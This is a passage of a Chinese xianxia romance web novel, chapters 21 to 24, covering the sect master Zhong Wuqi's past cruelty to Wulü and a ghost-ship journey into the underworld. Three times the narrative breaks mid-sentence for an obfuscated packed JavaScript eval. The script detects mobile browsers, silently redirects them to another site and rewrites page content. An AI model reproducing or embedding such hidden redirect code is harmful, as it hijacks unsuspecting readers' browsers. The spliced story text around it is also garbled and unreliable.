难不成他要找的债主竟是苍名? 察觉到她惊恐的目光,未辞嘴角一翘,指着飞鸟说:“看。” 苍名极目远眺,突然猛地扣上兔头面具,低声惊呼道:“这厮怎么还活着?” “什么?”未辞惊了一下,“将军,你认识这鸟?” “不是。”苍名悄悄爬到烟囱后面,伸出一只眼睛瞄着,“是他。铜铎派现任师尊,神圣仙人钟无期。” 未辞的目光骤然冷却,如同冰刃宝剑刺向远方。一辆东倒西歪的马车从天边慢悠悠驶来,驾车的人细如竹竿,一动不动。 待得马车近前,才看出那车夫竟是个提线木偶。一根根丝线悬在空中,仿佛有无形的手在操纵。 21. 跛足化仙泪 “这种废物帮派,还坐什么马车。”未辞冷笑一声。 苍名悄声耳语道:“这辆马车曾是铜铎派历任师尊的座驾,当年华美无双,如今已经变成一堆破铜烂铁。果真沧海桑田,没有什么不是暂时。” 苍名话音刚落,马车掉了一个轱辘。 哐当。马车歪倒在路边,像个翻了壳的王八。 提线木偶拉住那匹瘦马,咣咣当当地跳下车,满地追轱辘,像一具笨拙的木头骷髅。苍名嗤笑起来。 车厢里有个干瘪的声音问道:“怎么回事?怎么又掉了?” 提线木偶的木头下巴上下开合,稀里哗啦地回答道:“回主人,碎了,安不上。” 干瘪声音猛咳几声,怒斥道:“没用东西,去找个过路人来帮忙。” 未辞的拳头咔地一声捏响了。 苍名奇道:“你认识他?” 未辞哼了一声:“不认识,打过他一次而已。” “……” 见他面色如此不善,苍名小心地问:“他和你做过买卖?” 未辞摇了摇头,言尽于此。 苍名站起身,指了指息园三坊的方向。两人轻轻跃进森林,踏着雪路离去。 未辞伸手拨开头顶一根树枝,让苍名走过来。他问道:“将军,你要去给音律仙报信?” 苍名沉吟不语,过了一会儿说道:“好吧,如今你既然是我的下属,我应该把当年的往事说给你听。” “……” 苍名说:“铜铎派作为四大流派之一,当年也试图争抢珠冠,派了一群废物弟子追杀我,这些你大概也会听说过。” 未辞脸色阴沉不定,苍名突然想起他也去找过珠冠,立刻义正言辞地说道:“这等苟且之人,拿到了珠冠准不干好事!” 见他仍然面色不善,苍名益发添油加醋地补充道:“若是你这样的大收藏家拿到珠冠,那该是一桩何等风雅的美谈;若是这些傻道士拿到珠冠,必然会凭借珠冠去偷鸡摸狗,就凭他们也能王霸天下么,呵做梦……” 未辞终于笑了一下,苍名继续讲道:“这铜铎派,从前却不是这样的,只可惜,唉。” 说话间已回到息园三坊,破烂老楼遍布白雪,变得整洁淡雅,几乎像一件宁静得与世隔绝的塔。 无律和希声分别坐在长凳的两头,一个在打算盘,一个边擦拭唢呐边嘲笑道:“又没有新客人进店,有什么好算的。” 无律反唇相讥:“逢鬼城凶事不断,我这做小妖小鬼生意的,可比不上你做死人生意的。” 希声正要动手,苍名拍拍她的肩膀,对两人说:“你们猜谁来了?” 无律一脸抽筋地看着未辞说:“不就是你的那个谁来了吗。” 未辞懒洋洋地坐在一边,愉悦地笑了笑,眼皮都没抬一下。 无律又打量着苍名说:“苍姐珠光宝气地走了进来。” 苍名阴恻恻地说:“是神圣仙人,他来了逢焉城。” 无律的手悬停在全盘上空。他的脸一瞬间变得灰白如鬼。苍名说:“我们刚才看到的。” 希声纳闷地问:“他不是现任铜铎派师尊么,怎么不在铜铎山呆着?贵派连师尊都要亲自出来讨生活?” 无律颓然垂下手臂,对寻烟和觅霞说:“取屏风过来。” 隔音屏风落在几人常坐的圆桌旁,未辞背着手问道:“要我也参加么?” 无律心烦意乱地说:“随你,反正你是苍名的随从。” 于是未辞也走到圆桌旁坐下。无律用拐杖轻敲了一会儿桌子腿,终于开口道:“你们以为,我生来就是瘸子么?” 几个人都哑然无声。 希声看看苍名,苍名困惑地摇了摇头。 “将军。”未辞的声音突然在耳边响起,吓得苍名差点跳起来。 她看向未辞,发现后者端端正正坐在椅子上,一副乖巧柔顺的样子。 可是刚才那道声音如此清晰低沉,仿佛是在她的脑海中回响一样。 未辞的声音又响起来:“将军,你戴的耳环是闻声法宝,你涂的唇脂是传音之灵。” 苍名大受震撼,试着用意念回复道:“未辞?那你能听见我说话吗?” 未辞向她眨了眨眼睛,苍名听见脑海中他的声音说:“当然。有了这一套通灵物件,不管多远我都能听见你。” 苍名好奇地回道:“那你怎么不戴耳环、不涂唇脂?” “……”未辞平静地回答,“因为我妖法高强。” 苍名恍然大悟。 “将军,这里真无聊。”未辞略微委屈地传音道,“还是和将军在房顶喝酒有趣。” 苍名悄悄看了看无律,只见他一手扶额,面色沉沉。苍名不动声色地向未辞传讯:“难为你耽误时间留在这里,本来不关你的事。且听听无律怎么说,然后我送你回去。” “恩。”未辞眨着魅惑的眼睛,“就这么定了,还请将军护送我回去。” 希声已经陷入了不知第几重休眠。苍名斟酌了一会儿,开口说:“无律,从我记事起,你的腿就……我从没问过,是因为怕你伤心。” 苍名又暗中向未辞解释道:“无律是我的发小,幼时我们都在关外老家,他跟他大伯长大,家住隔壁府上,那座宅子就叫曦园三坊。” 未辞漫不经心地噢了一声。 无律苦笑着问:“世姊,你几岁记事。” 苍名略微羞耻地说:“八岁。” 无律惨淡地说:“我却连四岁的许多情景都记得,一幕一幕,刻骨铭心。知道为什么吗?因为四岁时,有一件事让我此生永远不能再无忧无虑了。” 希声睁开眼睛,仿佛有所预感地绞起了双手。 无律一字一顿地说:“我从小没有父母,跟着大伯生活,拿钟无期这位堂兄当成亲哥哥。可是有一天,我们一群小孩子去山谷里捉迷藏……钟无期让我躲在山谷最深处,我在那里躲了很久……后来我坐下来,一块巨石砸到我的右腿上……我疼得差点昏死过去,连哭都忘了。” 苍名和希声一起屏住了呼吸。无律说:“我抬起头,看到钟无期从山崖边一闪而过。那年,钟无期十二岁,我四岁。” 苍名紧紧抓着袍子下摆,觉得心都揪成一团。她问道:“你大伯知道吗?” 无律漠然地说:“也许他不知道吧。大伯贵为师尊,一年里多半时间在铜铎山。” 苍名回忆往事,感到了一种无以名状的难过:“后来钟掌门把你也接到铜铎派,你和钟无期一起朝夕相对那么多年?” “寄人篱下,有什么办法?”无律面露嘲讽之态,“我拼命练功,拐杖做法宝,弱冠成散仙,大伯临终前却把掌门之位传给钟无期。” 苍名突然激烈暴躁道:“凭什么是他?那个饭桶连个金丹也没修出来,还有脸给自己起名叫神圣仙人,占尽了三个好字……” 未辞噗嗤一笑。 修成金丹,方踏入修真的门槛,可摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172735|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱凡尘五谷轮回。而像息园三仙化为散仙,则逍遥快活,不任官爵,不为世俗所扰,平日里饮酒用餐不过是为了入世的乐子,并非必需。 希声冷冷地说:“钟无期推石头下去,当然是有所图谋。” 无律惨淡地说:“不错。祖传规矩,我派掌门不可由身残者担当。” 希声哼了一声:“那也轮不到他钟无期。历届英雄会上,他出过风头么?历次剿鬼盛事,他立过大功么?” “铜铎派重血缘而轻修为,神圣仙人从小就知道扫除大患,自然也知道怎么哄老掌门开心了。”未辞在旁边不咸不淡地说了一句。 苍名拍着无律的肩膀说:“你杀了他算了。” 无律长叹一声,不再说话。 苍名说:“你念及老掌门的养育之恩,那又怎样,钟无期他活该。” 未辞的声音又传入耳中:“将军还是个杀伐决断之人呢。” 苍名默默地回答道:“我虽然立志成神,实际并无神性。” “这可更加魅力无边,令人崇拜。”如果不是在用意念传音,未辞恐怕还要双眼明亮地鼓掌。 无律拄着拐站起来,向楼梯上走去。他的脚步如此蹒跚,就像已经苍老过了。 “无律。”苍名在他身后朗声问,“你到底想不想重振铜铎派?” 无律回头说:“想。” 希声掷地有声地说:“那就把掌门之位夺来。” 无律凄凉地说:“我开个客栈也挺好……” 苍名送未辞回去时,独轮马车竟然还横卧在路旁,车上已经空空如也。 两人同时幸灾乐祸地笑出哨声。苍名急忙双手捂住嘴,朝他摆了摆手,两人争先恐后地躲进森林,从树干之间向马车张望。 看了半天,不见钟无期的影子,苍名担心有诈,突然一拉未辞的胳膊,回身就向古董店跑去。 未辞如影随形,立刻跟上,苍名非要跑在他前面,最后两人一路追逐打闹着跑回古楼。 然后,苍名突然感受到一阵悲哀。无律还在息园的阁楼上独自痛苦,而她已经在雪地中嬉笑,人与人之间的悲欢果然并不相通。 未辞照例请苍名从正门进楼,楼内暮色四合,西边飞瀑悬冰,东边温泉蒸腾。树枝上缀满了红色野果,重重楼阁挂着剔透冰灯。 已经快要到除夕了,四季年华恍如一梦。苍名随意地坐在长阶下,怀念地说:“从我离开家后,就没没再过过大年了。” 未辞说:“这有何难,将军若不嫌弃,就来我这里庆祝。” 苍名一笑:“多谢。真想不到我有一天会来到这里。也真想不到四大流派没落,再无其他教派鹊起,一切不可思议。” 未辞挨着她坐下,认真地问:“将军,钟无期,你预备怎么办?” 苍名无意识地抚摸着耳环,露出了希声般的表情:“老帮主在世时,还曾把无律派到忘仙派充当击缶使者,以表两派亲厚之意。” 未辞从鼻子里笑了一声。 苍名的脸上也泛起笑意:“我们练舞时,他就在旁边敲打节奏。后来我又结识了希声,邀请她来忘仙源小住,我们三个曾一起捉鬼。那两年真的很开心。” 未辞恩了一声,她接着说:“后来未央冠遗失,钟无期已经坐上掌门之位,铜铎派……就成了这副德行。” 一位侍者端着茶盘快步走来,茶盘上却是一卷无字的纸。未辞看了一眼,对苍名说:“将军,钟无期现在去了息园三坊。” 22. 主仆唱复随 苍名背着手迈进息园三坊,一眼看见瘦小干瘪、形容猥琐的钟无期。 钟无期见了她,二话不说就打了个哆嗦,震得他身边的提线木偶哗啦作响。 苍名哟了一声,轻蔑地说:“神圣仙人当年派一众弟子追着我跑,我可从没还手啊,怎么吓成这样?” 钟无期低眉顺眼地说:“都是陈年往事,如今铜铎派也凑不出十位数的弟子了,舞将军大人有大量,不要再派人找我麻烦啦。” 苍名一掀下摆,坐在长凳上,冷冷地说:“你再说一遍,谁找你麻烦?” 钟无期立刻改口道:“是的,您没找我麻烦,都是不知名的野小子来打打杀杀……” 希声则低声问:“你说你没还手……那四大流派怎么……” 一直没说话的无律突然抬起头,死死盯着钟无期:“你来这里干什么?” 钟无期端起茶杯喝了一口,笑而不语。提线木偶叮咣开口说:“不久前,我家主人看到天边腾起一道烟火,似是道士的求救信号,于是过来仗义相助。” 苍名发出了响亮的嘲笑声。 希声说:“那是猴年马月的事了?当时城中发大水,有些小道士放了信号。神圣仙人真是姗姗来迟。” 苍名跟她一唱一和:“也难怪,神圣仙人的马车说散架就散架,看起来走不快。” 钟无期的脸上现出窝囊的怒意。 无律紧紧抓着拐棍,手上沟壑纵横,看起来很想一锤解决了他。 希声咂嘴道:“你倒是打啊。” 苍名帮腔道:“贵派的戒律清规先放一放,打了再说。” 无律仇恨的目光笼罩着这位神圣仙人,使他不必要地转头去拨弄提线木偶的悬空丝线。 钟无期说:“前些天,我去给家父扫墓,还替你祝祷了几句呢。” 只此一句,无律就顿时失去所有力气,颓废地坐了下去。 钟无期又说:“只要我在一日,便依旧是家父亲传的掌门师尊。我派振兴之希望,就全在鄙人的身上。” 无律沉沉地说:“我,音律仙无律,命令你滚出去,永远别再让我看见你。” 钟无期哼了一声,身边的提线木偶说:“我家主人的马车坏在半路,不得已才来投宿,未曾想到这间小店是你……” 无律猛地一挥拐杖,一阵疾风如千斤铜杠抡起,钟无期连人带木偶一起飞了出去。 寻烟跑过来关上了大门,钟无期在门外大叫自己的木偶散架了。 无律拐杖一拄地,恨恨地说:“装什么阔绰主子,演双簧给谁看?” 苍名和希声都极力镇压着笑意。苍名问:“魏羌呢,怎么这几日不见他?” 寻烟笑容可掬地说:“魏公子说这几日城中瘟疫已清,他要再去别处逛逛。” “那不等他了,我们吃饭吧!”苍名拍拍无律的肩膀,又走到后厨去温酒,“何必再想钟无期那老小子。” 楼上的一间客房突然房门打开,一向安静话少的觅霞噔噔噔跑下半层楼梯,报喜般地喊道:“掌柜的——” 所有人都吃惊地仰望着她。她高声宣布:“花怡公子说话啦!” …… 希声、无律和苍名围在床边,殷切地盯着床上的花怡。 花怡脸色惨白,害怕地看着眼前三个奇怪的人。 无律轻声说:“别吓坏了孩子。” 苍名说:“就你最吓人吧。” 希声问花怡:“听说你刚才说话了,你刚才说了什么话。”语调没有任何的起伏。 花怡就像一个刚学会说话的人一样,艰难地说:“回——家。” “你想回家了吗?”苍名猫腰温和地说,“你家在哪里,我送你回去。” 花怡说:“弦真屿。” “弦真屿?”苍名看向其他两人,那两人摇头表示没听过。 苍名问花怡:“弦真屿在哪里?” 他说:“在……微城。” “微城?”无律往后一仰,难以置信地说,“是那个微城?” “好熟悉的名字。”希声陷入沉思,一双上扬的凤眼中迷雾蒙蒙。 “微城,就是冥界。你去过,记得么?”无律啧了一声。 苍名心里震惊到崩裂,表面还和蔼地问道:“小弟,你家住在冥界?” “我从小,住在那里。”花怡似乎生怕被歧视,小声说,“但我是活人。” “冥界也没什么,我送你去就是了。”苍名宽慰他说,“你家里有人等你吗?” “有,我娘。” 苍名看了看窗外,时值夜晚,不到午夜。古楼里那扇通往冥界的窗口尚未关闭。 无律说:“钟无期这晦气东西在城里,我就要出去避一避,我跟你们一起去。” 希声则说:“我自己留下有什么意思,当然也跟你们一起。” “那我们现在就出发。”苍名架起花怡,从觅霞手中接过一个布包,跟在希声和无律后面。他们的身影缓慢地走进夜色,犹如一对亲密安静的姐弟。 在古楼的后门,苍名停下脚步,补涂了一层薄薄的唇脂。 花怡木然地站在一旁,对她诡异而突兀的行为视若无睹,希声和无律则交换了一个难以理解且不可思议的眼神。 无律说:“你一天来几次啊,还用补妆么?” 苍名小心地收起唇脂,调动意念,试探地叫了一声:“未辞?你在吗?” “将军?我在。”未辞的声音立马在脑海中响起,听起来竟然一反常态,十分惊喜。 “未辞,我在你楼下,我带了几个人来,能不能给我开个后门……”苍名厚着脸皮传音道。 “恩,侍者也来报了,我来接你。”未辞话音刚落,后门就已经打开,他明亮的脸庞出现在夜幕下,甚至还换了一套新衣服。银白锦绣外袍,浅蓝雪花形暗纹,将未辞衬托得更加飘逸俊朗。 苍名无视了希声和无律的咂嘴声,心虚地说:“我第二次来主动找你啦,不过是为了些别的事……” 未辞一挥手,早有一位侍者扶着花怡进了古楼。楼中徒有四壁,其破烂程度超越息园三坊。 他对苍名微微一笑:“只要将军来找我就很好,不论是为了什么事。” 苍名眨了眨眼睛,说:“这身衣服很衬你,配上你的腰带和束发丝带……” 无律干咳一声,苍名话锋一转,对未辞讲了花怡要回家的事,三言两语,简明扼要。 未辞毫不关心地哦了一声,对苍名说:“将军,夜里寒冷,这件斗篷给你。” 又说:“将军,喝杯热茶暖一暖,我们再出发?” 希声和无律面无表情地站在后面,双双抱着膀子。 苍名接过热气腾腾的茶杯,眼角瞥见门外似乎有人影藏在森林中。冬夜漫漫,寒风凛凛,那道人影却衣着单薄,瘦骨嶙峋,就像林中的一块怪石。 苍名低头啜饮茶水,悄无声息地冷笑一声。也许是这句笑声也传音过去,未辞也轻轻笑了。古楼后门合拢,两人一边一个抓着花怡,将其挟持。 苍名对另外两人说:“咱们不知口令,须得大家手拉手。” 希声伸出两个指尖拈住苍名的胳膊,无律则勉为其难地挎住未辞的胳膊,彼此都嫌弃地打了个寒战。 四个人维持着生硬的队形,将花怡众星拱月地夹在中间,一齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172736|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向窗口飞去。 怪楼林立,妖鬼横行。微城别来无恙,湖绿色天空下飘荡着妖气和鬼声,总是给人一种嘈杂而潮湿的感觉。 几个人落地后立刻松开手,互相拉开距离。苍名问:“花怡,你家的那个屿,要怎么走呢?” 花怡看着远方的江水说:“春秋渡。” 苍名奇道:“这是春秋渡?原来春秋渡从人间通向冥界。” 无律切了一声:“不然呢,新鬼怎么进入冥界?” 苍名说:“我倒是好奇,冬天如果江水结冰,新鬼怎么游过来呢?” 无律说:“这里不是关外,你以为这江会冰封数丈么?冰壳下面当然是流水了。” “哈。”苍名点头示谢,又问花怡,“沿江顺流而下,还是逆流而上呢?” 花怡茫然失措:“不知道,这里是哪里?” 无律对未辞说:“霍贤弟,你不是很有办法的吗,我们怎么去那地方?” 未辞笑眯眯地一摊手:“不知道。我只是来玩的。” 无律不满地说:“莫非你巴不得我们找不到路,好跟苍名多待几天?” 未辞说:“我是将军的随从,将军去哪我就去哪。” 无律瞪着眼睛,苍名则假装什么都没听见。 希声默默掏出一块包袱皮,将自己的头脸都遮了起来:“出门办事,切勿抛头露面。” 苍名也扣上兔脸面具和斗篷帽子。兜帽之下,兔脸珠光熠熠,三瓣嘴笑微微的,十分奇异。 无律随手抹了一把脸,笑道:“哈哈,本仙修过易容术,想不到吧。”面皮一化,成了一张无论如何都记不住的脸,看了下巴忘额头,看了眼睛忘鼻子。 只有未辞懒得遮盖,只变换了一身粗布衣服,难掩俊逸风流之色,更添质朴清新之意,苍名忍不住多看了几眼。 苍名拦住一个提着竹筐的女鬼,文质彬彬地问:“尊驾知道弦真屿怎么走吗?” 女鬼幽幽地捧起竹筐问:“杀人丸,买吗?” “……” 苍名又向路边几个乌漆麻黑的妖怪问道:“几位朋友,知道弦真屿在哪里吗?” 那几个小妖尖声尖气地说:“那是什么?咱们可不知道。” 苍名点头说:“打扰了。” 一转身,无律和希声都吃惊地看着她。 希声问:“你能听懂它们说话?” 无律问:“它们能听懂你说话?” “什么?”苍名一愣,“你们听不懂吗?” 未辞的声音传入脑海:“将军,那几个小妖说的是鸟语。” 苍名猛然醒悟:“耳环和唇脂……竟然还有这等奇效?” 回答她的是得意的轻笑声。 苍名再度醒悟:“那我刚才岂不是……在鸟叫?” 未辞回答道:“还挺可爱的。” 苍名假装没听清他的声音,传音道:“你刚才说了什么?” 未辞顿了一下,不好意思地传音:“挺可爱。” 苍名再次假装没听清他的话,又问:“什么什么?说谁?”说着,还满脸笑意地看了他一眼。 未辞无奈地一笑,脸上浮现出一晃而过的血色。 苍名轻轻摸着耳环沉思道:“冥界地域辽阔,妖鬼又大多隐居秘境,这地方还真不知去哪找。” 一群灰呛呛的鬼呼呼往街那头跑去,同时奔走相告:“又散钱了,快去抢!” “快看,这船怎么能在地上跑?”无律用拐棍指着不远处,稀奇地叫起来。 苍名抬头一看,邪魅紫色幽灵船缓慢地滑过集市,行驶到狭窄处,曲里拐弯的楼阁纷纷向后移动避让。 23. 鬼船渡鬼江 “游霄!”苍名喜出望外,对船头的鬼魂青年招手。 游霄一愣,弯腰撑在栏杆上辨认了半天:“阁下是兔妖大人么?” 苍名笑嘻嘻地摘下面具收好,对游霄一挑眉毛。 “唉呀!”游霄双手交叠,露出喜悦的笑容,“是道长大人!” 无律对苍名刮目相看:“你在冥界也能有个把朋友?” 希声则迅速判断道:“这鬼的怨气不重,不至于为非作歹。” 游霄走下船来,苍名撇下众人,热情地上去寒暄道:“游少爷,最近过得还好吗?习惯了这里的生活吗?游老爷子他安好吗?有没有去人间逛逛?” 游霄腼腆地一笑:“都好,都好。有了道长大人送我的护身符,我都去人间逛了好几趟啦。” 苍名伸手进怀中一模,唰一下又掏出两张符:“这符是树叶变的,功效简单,按理说不会失效,不过还是再送你两张备用好了!你可以下次带家里人一起逛呀!” 游霄简直要感动哭了:“道长大人,我家族死绝后,已经很多年没人对我这么好了!我,我……以后有需要就提我的名字!” 苍名摆手道:“不必客气,你一个人出门在外要多加小心。对了,不知你听过弦真屿没有?” 游霄带着纯真的笑容说:“没听过耶。原来你是来冥界游玩的,爷爷已经把这条船送给了我,不如就借你,拿去坐吧!” 苍名刚要谢绝,无律立刻用拐杖戳了一下她的脚后跟:“喂,有船不是正好,别瞎客气。” 希声慢悠悠地走上来说:“船是好船,可是我们不知道路线,又有什么用。” 游霄说:“路线?不知道路线没关系呀,老头他会找到地方的。” 苍名一愣:“哪个老头?”莫不是游老爷子要亲自驾船? 游霄风度翩翩地一挥手,示意一个鬼仆过来打开船头暗仓:“老头就是这艘船的船头。” 几人向暗仓里探头看去,不约而同地打了个哆嗦。 一双巨钟般的澄黄色眼睛竖立在黑暗中,死死盯了回来。 鬼仆对那双眼睛低声交待了几句,眼睛合拢,暗仓中漆黑一片。 下一秒钟,双目大开,精光四射。 鬼仆合上暗仓的门,对几人深深一鞠躬,脑门碰到地上,恭敬地请苍名一行人上船。 苍名心一横,对游霄说:“游公子,真是多谢你,这船我们一定会保护好的!船在我在,船亡……” 未辞开口道:“船亡我赔。” 无律高兴地说:“太好了,霍贤弟竟是个富商呢!难怪能和古董店有生意往来,初次见你就是在古董店,哈哈,哈哈……” 游霄早已换到一辆金车上,朝他们矜贵而含蓄地招手笑着,直到鬼仆驱车离开。 幽灵船先是慢慢向后倒退了一段,然后停住不动了。无律奇怪地说:“怎么回事,是不是这船只能在地上跑——” 话音未落,幽灵船突然像炮弹一样冲了出去,砰一声落在江面上,破冰破浪,升帆起航。 船上几个人被颠得双脚离地,东倒西歪。未辞眼疾手快地揽住苍名的肩头,此二人成为船上唯二屹立不倒的身影。 无律爬起来抱怨道:“这老头还挺认主呢……” 苍名把花怡安排进船舱里休息,其余几人在甲板上席地而坐,既不用自己动腿,又能吹着江风观看两岸鬼景,都觉得这船坐对了。 无律怀念地说:“苍姐,想想咱们小时候,金车银马,步辇画船,什么没坐过……” 苍名嗨了一声:“白玉铺地,象牙做床,不过大梦一场。” 希声并没有太多伤春悲秋:“我派弟子皆出身草莽,从前下山游学都是骑驴。” 无律说:“不论之前坐车还是骑驴,现在都一样喽。可见谁都不能真的拥有什么,万事只是体验罢了。” 苍名对无律说:“假如现在把铜铎山交给你,你愿意么?” 无律切了一声,如数家珍地说:“这还用说?铜铎山灵气深厚,当年大伯去西南游历,找到这块福地,举派从关外迁往此处修行。山中应有尽有,普通人进去一辈子也舍不得出来。” 希声问道:“假如把山中弟子也交给你,你准备怎样?” 无律捏着下巴想了一会儿,那张平凡的假脸上浮现出思虑的神情,散装五官各有各的困惑。他说:“我的话……我要搞一场天下英雄盛会!” “用如今那个位数的弟子么?”希声冷淡地说。 “不,我要广招天下英才,传授音律术法,选出一位贤才继位……”无律双眼闪闪发亮,仿佛穿过冥界的绿色迷雾,看见西山晚钟的未来。 苍名和希声对视一眼,意味深长地一笑。苍名发自内心赞叹道:“真想不到你小子成天打算盘,其实还是有点壮志的。” 无律一挥拐棍,打散眼前的绮梦:“行啦,干什么说这些有的没的,我这人从不想入非非。” 船又行出数里,希声指着岸上说:“看那些小鬼,倒是很有趣。” 希声难得开一次金口,无律捧场地睁开惺忪睡眼。 苍名恍恍惚惚地抬起头,发觉自己困得双眼迷蒙,不知不觉靠在未辞的肩膀上眯着了。她连忙坐了起来:“奇怪了,不知怎么这么困?” 未辞柔声说:“睡吧,将军。” 无律惊恐地打断了二人的对视:“那是什么?!希声你管这叫有趣?” 岸上百草焦黑,枯树如钩,连天空到了这里都变成墨色,一群奇异鬼影慢吞吞地在土里刨着什么。 有些鬼的脑袋长反了方向,脸面朝向身后,再往下是后背,手臂却伸向后脑勺那一边。 又有些鬼只有一个身子,没有脑袋和脖子。再细一看,原来它们的脸长在后背的袍子上,就像一张摇摇欲坠的面皮。 苍名说:“无律啊,你不要那么大惊小怪嘛,人家只是长得和你不一样而已。也未必我们长得就是对的嘛。” 未辞说:“将军,这些都是死人变的,名字叫做穷鬼。” “……” 无律叫起来:“霍贤弟,你怕不是在含沙射影吧?” 未辞说:“没有。” 无律说:“此时此刻最大的三只穷鬼,不就是你面前的息园三仙么?” 未辞说:“是你们两个,不算将军。” 希声阴恻恻地说:“我要知道修成仙后过的是这日子,不如留在老家种田了。” “是啊,希声你要是留在老家,也就没有万花镜的事儿了……”苍名看着岸上的穷鬼越聚越多,忍不住问道,“不知他们在刨什么?” 未辞说:“将军,这些鬼生前都是无名小民,每天费尽力气在土里刨食,死后心有不甘,化作恶鬼,不愿面朝黄土,所以把头转了个方向。” 土里刨出的枯枝败叶被聚拢成一堆,篝火冲天,猩红色火光升腾于黑暗底色之上。 成群结队的穷鬼围着火取暖,他们僵硬的关节伸展开来,和火焰一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172737|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噼啪作响。一个鬼开始指天指地,转悠了半天,苍名才看出她是在跳舞。 接着,所有的鬼都纷纷跳了起来。群鬼围绕着篝火起舞,一圈鬼影如同猩红色火焰上旋转的黑环。 苍名轻声问:“他们会转世吗?” 未辞微微一笑:“有钱的鬼,就可以一直留在冥界,不堕轮回之苦。没钱的鬼,就在这里一边做工或是乞讨,一边等待着转世轮回。” “……” 希声若有所思地说:“我们也转世过吗?” 无律紧张地问:“我们上辈子该不会就是这样……?” 未辞对苍名说:“将军,成仙之人,命里有仙格,每一世魂魄不入地府。” 苍名无意识地拍着胸口说:“那就好,我还以为我们是穷鬼转世,吓死我了,哈哈……” 冥界没有太阳,冬天比人间更加冰冷阴湿。篝火逐渐变得矮小,那群穷鬼大哭起来:“别走,别走……” 他们伸出烧火棒一样的手臂,仿佛要留住那一丛鬼魅的温暖和光明。 苍名伏在栏杆上看着,略感焦急地说:“再加把火呀!再捡树枝呀!” 那群鬼似乎也想到了这一招,左右摇摆着散开,又在地里卖力地刨起来。 一声尖锐的叫声直冲云霄,震得篝火都剧烈摇晃,枯树黑草前俯后仰。 “怎么了?”无律拄着拐站起来,向岸上张望。 一棵弯曲如爪的枯树蓦然回头,对着一个穷鬼长啸一声。穷鬼的袍子像破布条一样向后翻飞,长反的脑袋摇摇欲坠。 穷鬼用后脑勺对着枯树,呆呆地说:“是谁?” 树干上陡然张开一道长长的口子,一开一合:“我的根!放下我的根!” 那个穷鬼愣了半天,迟缓地转过身,正脸对着树干端详了半天,突然说:“原来是树精。” 枯树冷冷地一笑,引起另一阵风声:“爷爷的大名也是你能直呼的?还不松手么——” 一条树枝狠狠抽中那只鬼的正脸,头颅应声而落,飞入火堆。那颗头解脱般地停留在火堆中,越烧越小,直至消失。它再也不用费劲地扭到身后去了。 “啊?我的头呢?”无头鬼瘫倒下去,满地乱摸,还不知道自己的头已经烧成灰烬。 “树精杀鬼啦!”其余穷鬼们叫嚷起来,“上啊!一起上啊!” 哭一样的怪笑声席卷两岸,此消彼长。一棵棵枯木像从睡梦中醒来,枝条抽动伸展,忽然一起向那群穷鬼抓去。 就连对岸的树枝,也越过宽广的江面前来助阵,如同在水上搭起数百架天桥。 穷鬼受制于树精的天罗地网,被抽打得无力反击。一个头脑活络的鬼喊道:“挖他们的根!” 群鬼立刻十指并用,熟练地飞速刨根。 一时之间,群魔乱斗。哭喊声不绝于耳,无头鬼尸横遍野,被折断或咬掉的树枝满天乱飞。 三仙即便久经沙场,此刻也全都看呆了。就连这艘船也停了下来,仿佛要看个究竟。 无律用拐杖敲了敲船头的栏杆:“老头,趁着树枝没有挡道,快走啊。” 幽灵船稳稳停在江中心的激流之中,一动不动。 苍名探出半个身子,向暗仓的方向张望:“老头是不是睡着了?” 无律气沉丹田,纵声高喊:“喂,老头——” 苍名也跟着喊道:“喂,老头——” 未辞轻轻将她揽回来,警戒地说:“将军,水下有东西。” 24. 冥界不速客 未辞话音甫落,幽灵船突然被巨浪高高抛起。 希声和无律大叫着往船尾摔去,未辞一手抓住船舷,一手紧紧搂住苍名的腰。苍名则抛出冰刃宝剑:“希声无律!上剑!” 江水挟着尖锐力道重重落下,如同下了一场锥子雨,打得船帆破洞、桅杆折损。未辞不假思索地把苍名揽入怀中,牢牢按在胸前,替她挡去数道凌厉飞浪。 一浪未平,一浪又起,船身再度颠簸倾斜。希声好不容易踏上冰刃宝剑,又被一道暗器般的浪潮打了下去,摔得眼冒金星。 苍名想冲上去,未辞不但不松手,反而箍得更紧了:“将军!” 幸好无律踉跄着赶上前来,拉着希声一起登上宝剑。结果宝剑一升空,他自己又站立不稳,大头朝下栽了下去。 希声一把接住他的拐杖,朝他伸了过去:“抓着!” 无律费力地抓着拐杖的另一端,在风雨飘摇中重新踏上剑刃。 苍名顾此失彼,一会儿叫着让剑上的两人当心,一会儿又忽然想起船舱,转头看去,顿时惊叫一声:“花怡!” 顶着狂风,船舱的门被勉强推开一条缝,花怡露出惊恐的半张脸。 无律立刻声嘶力竭地喊道:“别出来!回去!” 